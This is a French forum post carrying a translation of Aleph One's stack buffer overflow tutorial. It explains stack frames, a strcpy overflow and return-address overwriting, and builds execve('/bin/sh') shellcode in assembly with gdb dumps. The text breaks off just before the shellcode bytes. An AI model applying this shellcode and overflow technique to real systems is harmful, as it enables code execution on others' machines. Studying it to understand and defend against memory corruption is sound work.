Annonce

Réduire
Aucune annonce.

Smashing The Stack (corruption de la pile d'éxécution) en Langage C

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Tutoriel Smashing The Stack (corruption de la pile d'éxécution) en Langage C

    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    Smashing The Stack For Fun And Profit
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX


    par Aleph One
    [email protected]

    `smash the stack` [programmation en C] n. Sur un bon nombre
    d'implémentations de C, il est possible de corrompre la pile
    d'exécution en écrivant après la fin d'une array déclarée
    automatiquement dans une routine. On dit du code qui effectue
    cette opération qu'il "smash" la stack, il peut également causer
    le retour de la routine vers une adresse aléatoire. Ceci peut
    produire les bugs data-dépendants les plus insidieux que l'humanité
    ait connu.
    Des variantes incluent "trash", "scribble", ou "mangle" la stack;
    le terme de "mung" n'est pas usité, car ce n'est jamais réalisé
    intentionnellement. Voyez aussi "spam", "alias bug", "fandango on
    core", "memory leak", "precedence lossage", "overrun screw".


    Introduction
    ~~~~~~~~~~~~


    Durant les derniers mois, il y a eu une forte recrudescence de buffer
    overflows à la fois découverts et exploités. Citons pour l'exemple syslog,
    splitv, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc. Cet article
    a pour but d'expliquer ce que sont les buffer overflows, et comment
    fonctionnent leurs exploits.

    Une connaissance basique de l'assembleur est requise. Une compréhension des
    concepts de mémoire virtuelle, et une expérience avec gdb seront utiles mais
    pas indispensables. Nous supposons aussi que nous travaillons avec un CPU x86,
    et que le système d'exploitation est Linux.

    Quelques définitions basiques avant de commencer: un buffer n'est rien
    d'autre qu'un block contigu de la mémoire d'un ordinateur qui contient de
    multiples instances de données de même type. Les programmeurs de C associent
    normalement le mot array au mot buffer. La plupart du temps, des arrays de
    caractères. Les arrays, comme toutes les variables du C, peuvent être
    déclarées statiques ou dynamiques. Les variables statiques sont allouées au
    chargement dans le data segment. Les variables dynamiques sont allouées
    à l'exécution sur la stack (pile). Réaliser un overflow, c'est remplir à
    ras bord, jusqu'aux limites.
    Nous ne nous intéresserons ici qu'aux overflows de buffers dynamiques,
    également connus sous le nom de stack-based buffer overflows.


    Organisation de la Mémoire des Processes
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


    Pour comprendre ce que sont les buffers de stack, il nous faut d'abord
    comprendre comment un process est organisé dans la mémoire. Les processes
    sont divisés en trois régions: Text, Data et Stack. Nous nous concentrerons
    sur la région de la stack, après un survol des autres régions.

    La région du texte (Text) est divée par le programme et inclut du code
    (instructions) et des données en lecture seule. Cette région correspond à la
    section texte d'un exécutable. Elle est normalement marquée en lecture seule
    et toute tentative d'écriture résulterait dans une violation de segmentation.

    La région des données (Data) contient des données initialisées ou non.
    Les variables statiques sont stockées dans cette région. La région des données
    correspond aux sections data-bss d'un exécutable. Sa taille peut être changée
    grâce à l'appel système brk(2). Si l'expandion des données bss ou de la pile
    de l'utilisateur dépasse la mémoire disponible, le process est bloqué et
    re-"programmé" pour être à nouveau lancé avec plus d'espace mémoire. La
    mémoire supplémentaire est ajoutée entre les segments data et stack.

    /------------------\ adresses
    | | mémoire
    | Text | basses
    | |
    |------------------|
    | (Initialisées) |
    | Data |
    |(non-initialisées) |
    |------------------|
    | |
    | Stack | adresses
    | | mémoire
    \------------------/ hautes

    Fig. 1 Zones de mémoire d'un Process


    Qu'est-ce qu'une Stack?
    ~~~~~~~~~~~~~~~~~~~~~~~


    Une Stack (pile) est un typa abstrait de données fréquemment utilisé
    en informatique. Une pile d'objets a la propriété que le dernier objet empilé
    sera le premier objet dépilé. Cette propriété est souvent décrite comme
    "last in, first out", ou LIFO.

    Plusieurs opérations peuvent être effectuées sur les piles. Deux des plus
    importantes sont PUSH et POP. PUSH ajoute un élément en sommet de pile. POP,
    au contraire, réduit la taille de la pile en enlevant le dernier élément en
    sommet de pile.


    Pourquoi utiliser une Stack?
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~


    Les ordinateurs modernes sont créés dans le souci d'utiliser des langages
    de haut niveau. La technique la plus importante pour structurer des programmes
    (introduite par les langages de haut niveau) est la procédure, ou fonction.
    D'un point de vue, un appel (call) à une procédure altère le flot de contrôle
    comme le fait un saut (jump), mais au contraire d'un saut, lorsque la tâche
    est accomplie, une fonction rend le contrôle à l'instruction suivant l'appel.
    L'abstraction de haut niveau est implémentée grâce à l'introduction des piles.

    La pile est aussi utilisée pour allouer dynamiquement les variables locales
    utilisées dans les fonctions, passer des paramètres aux fonctions, et
    retourner des valeurs en sortant des fonctions.


    La région de Stack
    ~~~~~~~~~~~~~~~~~~


    Une pile est un bloc contigu de mémoire contenant des données. Un registre
    appelé le "stack pointer" (SP) pointe sur le sommet de la pile. Le bas de pile
    se trouve à une adresse fixée. La taille de la pile est ajustée dynamiquement
    par le kernel à l'exécution. Le processeur implémente des instructions pour
    empiler (PUSH) et dépiler (POP) de cette stack.

    La stack consiste en un ensemble d'états qui sont empilées à l'appel d'une
    fonction et dépilées au retour de la fonction. Ces "états" contiennent les
    paramètres passés à la fonction, ses variables locales, et les données
    nécessaires au recouvrement de l'état de pile initial, y compris la valeur
    de l'IP (instruction pointer) au moment de l'appel.

    Selon l'implémentation, la pile se développera vers les adresses les plus
    basses ou les plus hautes. Dans nos exemples, nous utiliserons une pile qui
    se développe vers les adresses basses. C'est la façon dont fonctionnent sur
    beaucoup de processeurs, y compris les Intel, Motoroma, SPARC et MIPS. Le
    Stack Pointer (SP) est aussi dépendant de l'implémentation. Il peut pointer
    sur la dernière adresse de la stack, ou sur la prochaine adresse libre après
    la pile. Dans notre cas, nous supposerons qu'il pointe sur la dernière adresse
    de la stack.

    En plus du stack pointer, qui pointe sur le sommet de la pile (adresse
    numérique la plus basse), il est souvent utile d'avoir un frame pointer (FP)
    qui pointe statiquement dans une frame. Certains textes se réfèrent aussi
    à un base pointer local (LB). En principe, les variables locales peuvent être
    référencées grâce à leur indice de décalage (offset) par rapport à SP. Quoi
    qu'il en soit, au fur et à mesure de l'ajout/retrait des mots dans la pile,
    ces offsets changent. Bien que dans certains cas le compilateur peut corriger
    les offsets en gardant une trace du nombre de mots dans la pile, dans d'autres
    cas il ne le peut pas, et dans tous les cas la mise en place de cette méthode
    requiert une administration considérable. De plus, sur certaines machines,
    telles que les machines à base de processeurs Intel, accéder à une variable
    située à une distance de SP connue nécessite plusieurs instructions.

    Par conséquent, beaucoup de compilateurs utilisent un second registre, FP,
    pour référencer à la fois les variables locales et les paramètres, car leur
    distance par rapport à FP ne change pas au fur et à mesure des PUSH/POP. Sur
    les CPU Intel, BP (EBP) est utilisé dans ce but. Sur les CPU Motorola, tous
    les registres d'adresses excepté A7 (le pointeur de pile) le permettent.
    A cause de la manière dont grandit notre pile, les paramètres réels ont des
    offsets positifs, et les variables locales des paramètres négatifs par rapport
    au FP.

    La première opération que doit réaliser une procédure est de sauvegarder
    l'ancien FP (pour être restauré à la sortie de la procédure). Ensuite, on
    copie SP dans FP pour créer le nouvel FP, et on avance SP pour réserver de la
    place pour les variables locales. Ce code est appelé le prologue de procédure.
    Avant de sortir de la fonction, la pile doit être vidée, c'est l'épilogue. Les
    instructions ENTER et LEAVE d'Intel ou LINK et UNLINK de Motorola existent
    dans le but de faire fonctionner le prologue et l'épilogue efficacement.

    Voyons à quoi ressemble la stack dans un exemple simple:

    Code:
    example1.c:
    ------------------------------------------------------------------------------
    void function(int a, int b, int c) {
       char buffer1[5];
       char buffer2[10];
    }
    
    void main() {
      function(1,2,3);
    }
    ------------------------------------------------------------------------------
    Pour comprendre ce que fait le programme pour appeler function() on compile
    avec gcc -S pour générer le code assembleur en sortie:

    $ gcc -S -o example1.s example1.c

    En regardant l'output en assembleur, on remarque que l'appel à function()
    se traduit par:

    pushl $3
    pushl $2
    pushl $1
    call function

    Ceci empile les 3 arguments de la fonction avant d'appeler la procédure.
    L'instruction 'call' place le pointeur d'instruction (IP) sur la stack. On
    appellera l'IP sauvé l'adresse de retour (RET). La première opération réalisée
    dans function() est le prologue de la procédure:

    pushl %ebp
    movl %esp,%ebp
    subl $20,%esp

    On empile ici EBP, le frame pointer, sur la stack. Ensuite, le SP courant
    devient EBP, il devient donc le nouvel FP. Nous appellerons le FP sauvé SFP.
    Puis, on alloue de l'espace pour les variables locales en soustrayant leur
    taille à SP.

    Il faut se souvenir que la mémoire peut être adressée uniquement en
    multiples de la taille d'un word (mot). Un word dans notre cas prend 4 octets,
    ou 32 bits. Alors notre buffer de 5 octets va réellement occuper 8 octets
    (2 words) de mémoire, et notre buffer de 10 octets prendra 12 octets (3 words)
    de mémoire. C'est pourquoi on enlèvera 20 à SP. Voici donc à quoi ressemblera
    notre pile à l'appel de function() (chaque espace représente un octet):


    base de sommet de
    mémoire mémoire
    buffer2 buffer1 sfp ret a b c
    <------ [ ][ ][ ][ ][ ][ ][ ]

    sommet de bas de
    pile pile


    Buffer Overflows
    ~~~~~~~~~~~~~~~~


    Un buffer overflow (débordement de tampon) résulte de l'introduction de
    plus de données dans un buffer que ce buffer ne peut réellement en contenir.
    Comment peut-on tirer parti de cette erreur de programmation courante pour
    exécuter du code arbitraire? Regardons un autre exemple:

    Code:
    example2.c
    ------------------------------------------------------------------------------
    void function(char *str) {
       char buffer[16];
    
       strcpy(buffer,str);
    }
    
    void main() {
      char large_string[256];
      int i;
    
      for( i = 0; i < 255; i++)
        large_string[i] = 'A';
    
      function(large_string);
    }
    ------------------------------------------------------------------------------
    Ce programme contient une fonction dotée d'une erreur de programmation
    typique pouvant entraîner un buffer overflow. Cette fonction copie une chaîne
    sans vérification de limites en utilisant strcpy() au lieu de strncpy(). Si
    vous exécutez ce programme, vous obtiendrez une violation de segmentation.
    Regardons à quoi ressemble la stack lorsque nous appelons function():


    bas de sommet de
    mémoire mémoire
    buffer sfp ret *str
    <------ [ ][ ][ ][ ]

    sommet de bas de
    pile pile


    Que se passe-t-il? Pourquoi obtenons-nous une violation de segmentation?
    Simple. strcpy() copie le contenu de *str (larger_string[]) dans buffer[]
    jusqu'à ce qu'un caractère nul soit trouvé sur la chaîne. Comme nous pouvons
    le voir, buffer[] est beaucoup plus courte que *str. buffer[] ne fait que 16
    octets de long alors qu'on essaie d'y stocker 256 octets. Ceci signifie que
    les 250 octets après le buffer dans la pile vont être écrasés. Ceci inclut
    SFP, RET, et même *str! Nous avions remple large_string avec le caractère 'A'.
    Sa valeur hexadécimale est 0x41. Ceci implique que l'adresse de retour est
    maintenant 0x41414141. Cette adresse est hors de l'espace alloué au process.
    C'est la raison pour laquelle lors du retour de la fonction, lorsque celle-ci
    essaie de lire la prochaine instruction à l'adresse de retour, vous obtenez
    une violation de segmentation.

    Un buffer overflow nous permet donc de changer l'adresse de retour d'une
    fonction. De cette manière, nous pouvons modifier le flot d'exécution du
    programme. Retournons à notre première exemple et regardons à nouveau l'état
    de la pile:


    sommet de bas de
    mémoire mémoire
    buffer2 buffer1 sfp ret a b c
    <------ [ ][ ][ ][ ][ ][ ][ ]

    sommet de bas de
    pile pile


    Essayons de modifier notre premier exemple afin qu'il écrase l'adresse de
    retour, et regardons comment nous pouvons lui faire exécuter du code. Juste
    avant buffer1[] sur la pile, on trouve SFP, et encore avant, l'adresse de RET.
    Ceci, 4 octets après la fin de buffer1[]. Souvenez-vous bien que buffer1[]
    prend en réalité 2 words, donc qu'il fait 8 octets de long. On a donc 12 bytes
    entre le début de buffer1[] et l'adresse de retour. Nous allons modifier la
    valeur de retour de manière que l'instruction 'x = 1;' après l'appel à la
    fonction soit sauté. Dans ce but, on ajoute 8 octets à l'adresse de retour.
    Notre code est maintenant:

    Code:
    example3.c:
    ------------------------------------------------------------------------------
    void function(int a, int b, int c) {
       char buffer1[5];
       char buffer2[10];
       int *ret;
    
       ret = buffer1 + 12;
       (*ret) += 8;
    }
    
    void main() {
      int x;
    
      x = 0;
      function(1,2,3);
      x = 1;
      printf("%d\n",x);
    }
    ------------------------------------------------------------------------------
    Ce que nous avons fait ici, c'est ajouter 12 ) l'adresse de buffer1[]. La
    nouvelle adresse représente l'endroit où l'adresse de retour est stockée.
    Nous voulons sauter par dessus l'assignement pour arriver à l'appel à printf.
    Comment avons-nous su que nous devions ajouter 8 à l'adresse de retour? Nous
    avons utilisé une valeur de test d'abord (pour l'exemple 1), compilé le
    programme, et ensuite démarré gdb:

    ------------------------------------------------------------------------------
    [aleph1]$ gdb example3
    GDB is free software and you are welcome to distribute copies of it
    under certain conditions; type "show copying" to see the conditions.
    There is absolutely no warranty for GDB; type "show warranty" for details.
    GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
    (no debugging symbols found)...
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x8000490 <main>: pushl %ebp
    0x8000491 <main+1>: movl %esp,%ebp
    0x8000493 <main+3>: subl $0x4,%esp
    0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
    0x800049d <main+13>: pushl $0x3
    0x800049f <main+15>: pushl $0x2
    0x80004a1 <main+17>: pushl $0x1
    0x80004a3 <main+19>: call 0x8000470 <function>
    0x80004a8 <main+24>: addl $0xc,%esp
    0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
    0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
    0x80004b5 <main+37>: pushl %eax
    0x80004b6 <main+38>: pushl $0x80004f8
    0x80004bb <main+43>: call 0x8000378 <printf>
    0x80004c0 <main+48>: addl $0x8,%esp
    0x80004c3 <main+51>: movl %ebp,%esp
    0x80004c5 <main+53>: popl %ebp
    0x80004c6 <main+54>: ret
    0x80004c7 <main+55>: nop
    ------------------------------------------------------------------------------

    Nous pouvons voir qu'à l'appel de function() le RET sera à 0x8004a8, et
    nous voulons sauter après l'assignement à 0x80004ab. La prochaine instruction
    que nous désirons exécuter est à 0x8004b2. Un peu de maths, et on trouve que
    la distance est de 8 octets.


    Shell Code
    ~~~~~~~~~~


    Maintenant que nous savons que nous pouvons modifier l'adresse de retour
    et le flot d'exécution, quel programme voulons-nous exécuter? Dans la plupart
    des cas nous voudrons simplement que le programme nous offre un shell. Du
    shell nous pouvons ensuite passer des commandes comme nous le voulons. Mais
    que se passe-t-il s'il n'y a pas de tel code dans le programme que nous
    essayons d'exploiter? Comment pouvons-nous placer des instructions arbitraires
    dans son espace d'adresses? La solution est de placer le code que nous voulons
    exécuter dans le buffer à overflow, et d'écraser l'adresse de retour pour
    qu'elle pointe en arrière, dans le buffer. En supposant que la stack débute
    à l'adresse 0xFF, et que S représente le code que nous voulons exécuter, la
    pile ressemblera à ceci:


    bas de DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF sommet de
    mémoire 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF mémoire
    buffer sfp ret a b c

    <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][08][0x01][0x02][0x03]
    ^ |
    |____________________________|
    sommet de bas de
    pile pile


    Le code pour générer un shell en C peut être:
    [code]
    shellcode.c
    -----------------------------------------------------------------------------
    #include <stdio.h>

    void main() {
    char *name[2];

    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
    }
    ------------------------------------------------------------------------------
    [/code
    Pour trouver l'équivalent en assembleur, on le compile, et on démarre gdb.
    N'oubliez pas d'utiliser le -static flag. Autrement, le code réel pour le
    l'appel système execve ne sera pas inclus. A la place il y aura une référence
    à des librairies C dynamiques qui devraient normalement être liées lors du
    chargement.

    ------------------------------------------------------------------------------
    [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
    [aleph1]$ gdb shellcode
    GDB is free software and you are welcome to distribute copies of it
    under certain conditions; type "show copying" to see the conditions.
    There is absolutely no warranty for GDB; type "show warranty" for details.
    GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x8000130 <main>: pushl %ebp
    0x8000131 <main+1>: movl %esp,%ebp
    0x8000133 <main+3>: subl $0x8,%esp
    0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
    0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
    0x8000144 <main+20>: pushl $0x0
    0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
    0x8000149 <main+25>: pushl %eax
    0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
    0x800014d <main+29>: pushl %eax
    0x800014e <main+30>: call 0x80002bc <__execve>
    0x8000153 <main+35>: addl $0xc,%esp
    0x8000156 <main+38>: movl %ebp,%esp
    0x8000158 <main+40>: popl %ebp
    0x8000159 <main+41>: ret
    End of assembler dump.
    (gdb) disassemble __execve
    Dump of assembler code for function __execve:
    0x80002bc <__execve>: pushl %ebp
    0x80002bd <__execve+1>: movl %esp,%ebp
    0x80002bf <__execve+3>: pushl %ebx
    0x80002c0 <__execve+4>: movl $0xb,%eax
    0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
    0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
    0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
    0x80002ce <__execve+18>: int $0x80
    0x80002d0 <__execve+20>: movl %eax,%edx
    0x80002d2 <__execve+22>: testl %edx,%edx
    0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
    0x80002d6 <__execve+26>: negl %edx
    0x80002d8 <__execve+28>: pushl %edx
    0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
    0x80002de <__execve+34>: popl %edx
    0x80002df <__execve+35>: movl %edx,(%eax)
    0x80002e1 <__execve+37>: movl $0xffffffff,%eax
    0x80002e6 <__execve+42>: popl %ebx
    0x80002e7 <__execve+43>: movl %ebp,%esp
    0x80002e9 <__execve+45>: popl %ebp
    0x80002ea <__execve+46>: ret
    0x80002eb <__execve+47>: nop
    End of assembler dump.
    ------------------------------------------------------------------------------

    Essayons de comprendre ce qui se passe ici. Etudions d'abord le main:

    ------------------------------------------------------------------------------
    0x8000130 <main>: pushl %ebp
    0x8000131 <main+1>: movl %esp,%ebp
    0x8000133 <main+3>: subl $0x8,%esp

    C'est le prélude de la procédure. Il sauve d'abord l'ancien FP,
    remplace FP par le stack pointer courant, et laisse de l'espace pour
    les variables locales.
    This is the procedure prelude. It first saves the old frame pointer,
    makes the current stack pointer the new frame pointer, and leaves
    space for the local variables. Dans ce cas on avait:

    char *name[2];

    Les pointeurs font un word de long, on a donc l'espace pour 2 words
    (8 octets).

    0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)

    On copie la valeur 0x80027b8 (adresse de la chaîne "/bin/sh") dans le
    premier pointeur de name[]. Ceci équivaut à:

    name[0] = "/bin/sh";

    0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)

    On copie la valeur 0x0 (NULL) dans le second pointeur de name[].
    Ceci est équivalent à:

    name[1] = NULL;

    L'appel réel à execve() commence ici.

    0x8000144 <main+20>: pushl $0x0

    On empile les arguments de execve() en ordre inverse.
    On commence par NULL.

    0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax

    On charge l'adresse de name[] dans le registre EAX.

    0x8000149 <main+25>: pushl %eax

    On empile l'adresse de name[].

    0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax

    On charge l'adresse de la chaîne "/bin/sh" dans le registre EAX.

    0x800014d <main+29>: pushl %eax

    On empile l'adresse de la chaîne "/bin/sh".

    0x800014e <main+30>: call 0x80002bc <__execve>

    On appelle la procédure execve(). L'instruction call empile l'IP.
    ------------------------------------------------------------------------------

    Maintenant, execve(). Gardez bien en mémoire que nous utilisons un système
    Linux basé sur un processeur Intel. Les détails des appels systèmes changent
    d'un OS à l'autre, et d'un CPU à l'autre. Certains passeront les arguments en
    pile, d'autres dans les registres. Certains utilisent une interruption
    logicielle pour passer en kernel mode, d'autres utilisent un simple call.
    Linux passe ses arguments aux syscalls par les registres, et utilise une
    interruption logicielle pour passer en kernel mode.

    ------------------------------------------------------------------------------
    0x80002bc <__execve>: pushl %ebp
    0x80002bd <__execve+1>: movl %esp,%ebp
    0x80002bf <__execve+3>: pushl %ebx

    Le prélude de la procédure.

    0x80002c0 <__execve+4>: movl $0xb,%eax

    Empile 0xb (11 décimal). C'est l'index dans la table des syscalls.
    11 correspond à execve.

    0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

    Copie l'adresse de "/bin/sh" dans EBX.

    0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

    Copie l'adresse de name[] dans ECX.

    0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

    Copie l'adresse du pointeur nul dans %edx.

    0x80002ce <__execve+18>: int $0x80

    Passe en kernel mode.
    ------------------------------------------------------------------------------

    Comme nous pouvons le voir, il n'y a pas grand chose pour passer l'appel
    système à execve(). Tout ce qu'il nous faut faire c'est:

    a) Avoir la chaîne "/bin/sh" terminée par un caractère nul en mémoire.
    b) Avoir l'adresse de la chaîne "/bin/sh" en mémoire, suivie par un
    long word nul.
    c) Copier 0xb dans le registre EAX.
    d) Copier l'adresse de l'adresse de la chaîne "/bin/sh" dans le
    registre EBX.
    e) Copier l'adresse de la chaîne "/bin/sh" dans le registre ECX.
    f) Copier l'adresse du long word nul dans le registre EDX.
    g) Exécuter l'instruction int $0x80.

    Mais que se passe-t-il si l'appel à execve() échoue? Le programme continue
    à lire les instructions en stack, qui peut contenir des données aléatoires!
    Le programmera coredumpera certainement. Nous voulons que le programme quitte
    proprement si le syscall à execve échoue. Pour ceci, il nous faut ajouter un
    syscall à exit après celui à execve. A quoi ressemble l'appel à exit?

    exit.c
    ------------------------------------------------------------------------------
    #include <stdlib.h>

    void main() {
    exit(0);
    }
    ------------------------------------------------------------------------------

    ------------------------------------------------------------------------------
    [aleph1]$ gcc -o exit -static exit.c
    [aleph1]$ gdb exit
    GDB is free software and you are welcome to distribute copies of it
    under certain conditions; type "show copying" to see the conditions.
    There is absolutely no warranty for GDB; type "show warranty" for details.
    GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
    (no debugging symbols found)...
    (gdb) disassemble _exit
    Dump of assembler code for function _exit:
    0x800034c <_exit>: pushl %ebp
    0x800034d <_exit+1>: movl %esp,%ebp
    0x800034f <_exit+3>: pushl %ebx
    0x8000350 <_exit+4>: movl $0x1,%eax
    0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
    0x8000358 <_exit+12>: int $0x80
    0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
    0x800035d <_exit+17>: movl %ebp,%esp
    0x800035f <_exit+19>: popl %ebp
    0x8000360 <_exit+20>: ret
    0x8000361 <_exit+21>: nop
    0x8000362 <_exit+22>: nop
    0x8000363 <_exit+23>: nop
    End of assembler dump.
    ------------------------------------------------------------------------------

    L'appel système à exit place 0x1 dans EAX, le code exit dans EBX, et
    exécute "int 0x80". C'est tout. La plupart des applications retournent 0 en
    sortie pour indiquer l'absence d'erreur. Nous placerons 0 dans EBX. Notre
    liste des étapes devient donc:

    a) Avoir la chaîne "/bin/sh" terminée par un caractère nul en mémoire.
    b) Avoir l'adresse de la chaîne "/bin/sh" en mémoire, suivie par un
    long word nul.
    c) Copier 0xb dans le registre EAX.
    d) Copier l'adresse de l'adresse de la chaîne "/bin/sh" dans le
    registre EBX.
    e) Copier l'adresse de la chaîne "/bin/sh" dans le registre ECX.
    f) Copier l'adresse du long word nul dans le registre EDX.
    g) Exécuter l'instruction int $0x80.
    h) Copier 0x1 dans le registre EAX.
    i) Copier 0x0 dans le registre EBX.
    j) Exécuter l'instruction int $0x80.

    En essayant de concaténer ces étapes en langage assembleur, en plaçant la
    chaîne après le code, et en se souvenant que nous placerons l'adresse de la
    chaîne et le mot nul après l'array, nous avons:

    ------------------------------------------------------------------------------
    movl string_addr,string_addr_addr
    movb $0x0,null_byte_addr
    movl $0x0,null_addr
    movl $0xb,%eax
    movl string_addr,%ebx
    leal string_addr,%ecx
    leal null_string,%edx
    int $0x80
    movl $0x1, %eax
    movl $0x0, %ebx
    int $0x80
    /bin/sh vient ici sous forme de chaîne.
    ------------------------------------------------------------------------------

    Le problème est que nous ne savons pas où, dans l'espace mémoire associé au
    programme que nous allons essayer d'exploiter, le code (et la chaîne qui le
    suit) sera placé. La est l'intérêt d'utiliser un JMP et un CALL.
    Les instructions JMP et CALL peuvent utiliser des adresses relatives à l'IP,
    ce qui signifie que nous pouvons sauter vers un offset à partir de l'IP actuel
    sans avoir à connaître l'adresse exacte de l'endroit où l'on veut sauter dans
    la mémoire. Si l'on place un CALL avant la chaîne "/bin/sh", et un JMP vers
    elle, l'adresse de la chaîne sera empilée dans la stack comme adresse de
    retour quand le call sera exécuté. L'instruction call peut simplement appeler
    le début de notre code précédent. En supposant maintenant que J corresponde à
    l'instruction JMP, C à l'instruction CALL, et s pour la chaîne, le flot
    d'exécution serait:


    bas de DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF sommet de
    mémoire 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF mémoire
    buffer sfp ret a b c

    <------ [JJSSSSSSSSSSSSSSCCss][ssss][08][0x01][0x02][0x03]
    ^|^ ^| |
    |||_____________||____________| (1)
    (2) ||_____________||
    |______________| (3)
    bas de sommet de
    pile pile



    Avec ces modifications, en utilisant un adressage indexé et en écrivant
    combien d'octets chaque instruction prend, notre code devient:

    ------------------------------------------------------------------------------
    jmp offset-to-call # 2 octets
    popl %esi # 1 octet
    movl %esi,array-offset(%esi) # 3 octets
    movb $0x0,nullbyteoffset(%esi)# 4 octets
    movl $0x0,null-offset(%esi) # 7 octets
    movl $0xb,%eax # 5 octets
    movl %esi,%ebx # 2 octets
    leal array-offset,(%esi),%ecx # 3 octets
    leal null-offset(%esi),%edx # 3 octets
    int $0x80 # 2 octets
    movl $0x1, %eax # 5 octets
    movl $0x0, %ebx # 5 octets
    int $0x80 # 2 octets
    call offset-to-popl # 5 octets
    /bin/sh string vient ici sous forme de chaîne.
    ------------------------------------------------------------------------------

    En calculant les offsets du jmp au call, du call au popl, de l'adresse de
    la chaîne à l'array, et de l'adresse de la chaîne au long word nul, on a:

    ------------------------------------------------------------------------------
    jmp 0x26 # 2 octets
    popl %esi # 1 octet
    movl %esi,0x8(%esi) # 3 octets
    movb $0x0,0x7(%esi) # 4 octets
    movl $0x0,0xc(%esi) # 7 octets
    movl $0xb,%eax # 5 octets
    movl %esi,%ebx # 2 octets
    leal 0x8(%esi),%ecx # 3 octets
    leal 0xc(%esi),%edx # 3 octets
    int $0x80 # 2 octets
    movl $0x1, %eax # 5 octets
    movl $0x0, %ebx # 5 octets
    int $0x80 # 2 octets
    call -0x2b # 5 octets
    .string \"/bin/sh\" # 8 octets
    ------------------------------------------------------------------------------

    Cela semble correct. Pour s'assurer de son efficacité, il nous faut
    compiler et exécuter le code. Mais il y a un problème. Notre code se modifie
    tout seul, mais la plupart des systèmes d'exploitation affectent une lecture
    seule aux pages de code. Pour contourner cette restriction, nous devons placer
    le code que nous voulons exécuter dans la stack ou dans le data segment, et
    lui transférer le contrôle. Alors nous allons placer le code dans une array
    globale dans le data segment. Nous avons tout d'abord besoin d'un équivalent
    hexa du code binaire. Compilons-le donc et utilisons gdb pour l'obtenir.

    shellcodeasm.c
    ------------------------------------------------------------------------------
    void main() {
    __asm__("
    jmp 0x2a # 3 octets
    popl %esi # 1 octet
    movl %esi,0x8(%esi) # 3 octets
    movb $0x0,0x7(%esi) # 4 octets
    movl $0x0,0xc(%esi) # 7 octets
    movl $0xb,%eax # 5 octets
    movl %esi,%ebx # 2 octets
    leal 0x8(%esi),%ecx # 3 octets
    leal 0xc(%esi),%edx # 3 octets
    int $0x80 # 2 octets
    movl $0x1, %eax # 5 octets
    movl $0x0, %ebx # 5 octets
    int $0x80 # 2 octets
    call -0x2f # 5 octets
    .string \"/bin/sh\" # 8 octets
    ");
    }
    ------------------------------------------------------------------------------

    ------------------------------------------------------------------------------
    [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
    [aleph1]$ gdb shellcodeasm
    GDB is free software and you are welcome to distribute copies of it
    under certain conditions; type "show copying" to see the conditions.
    There is absolutely no warranty for GDB; type "show warranty" for details.
    GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x8000130 <main>: pushl %ebp
    0x8000131 <main+1>: movl %esp,%ebp
    0x8000133 <main+3>: jmp 0x800015f <main+47>
    0x8000135 <main+5>: popl %esi
    0x8000136 <main+6>: movl %esi,0x8(%esi)
    0x8000139 <main+9>: movb $0x0,0x7(%esi)
    0x800013d <main+13>: movl $0x0,0xc(%esi)
    0x8000144 <main+20>: movl $0xb,%eax
    0x8000149 <main+25>: movl %esi,%ebx
    0x800014b <main+27>: leal 0x8(%esi),%ecx
    0x800014e <main+30>: leal 0xc(%esi),%edx
    0x8000151 <main+33>: int $0x80
    0x8000153 <main+35>: movl $0x1,%eax
    0x8000158 <main+40>: movl $0x0,%ebx
    0x800015d <main+45>: int $0x80
    0x800015f <main+47>: call 0x8000135 <main+5>
    0x8000164 <main+52>: das
    0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
    0x8000168 <main+56>: das
    0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
    0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
    End of assembler dump.
    (gdb) x/bx main+3
    0x8000133 <main+3>: 0xeb
    (gdb)
    0x8000134 <main+4>: 0x2a
    (gdb)
    .
    .
    .
    ------------------------------------------------------------------------------

    testsc.c
    ------------------------------------------------------------------------------
    char shellcode[] =
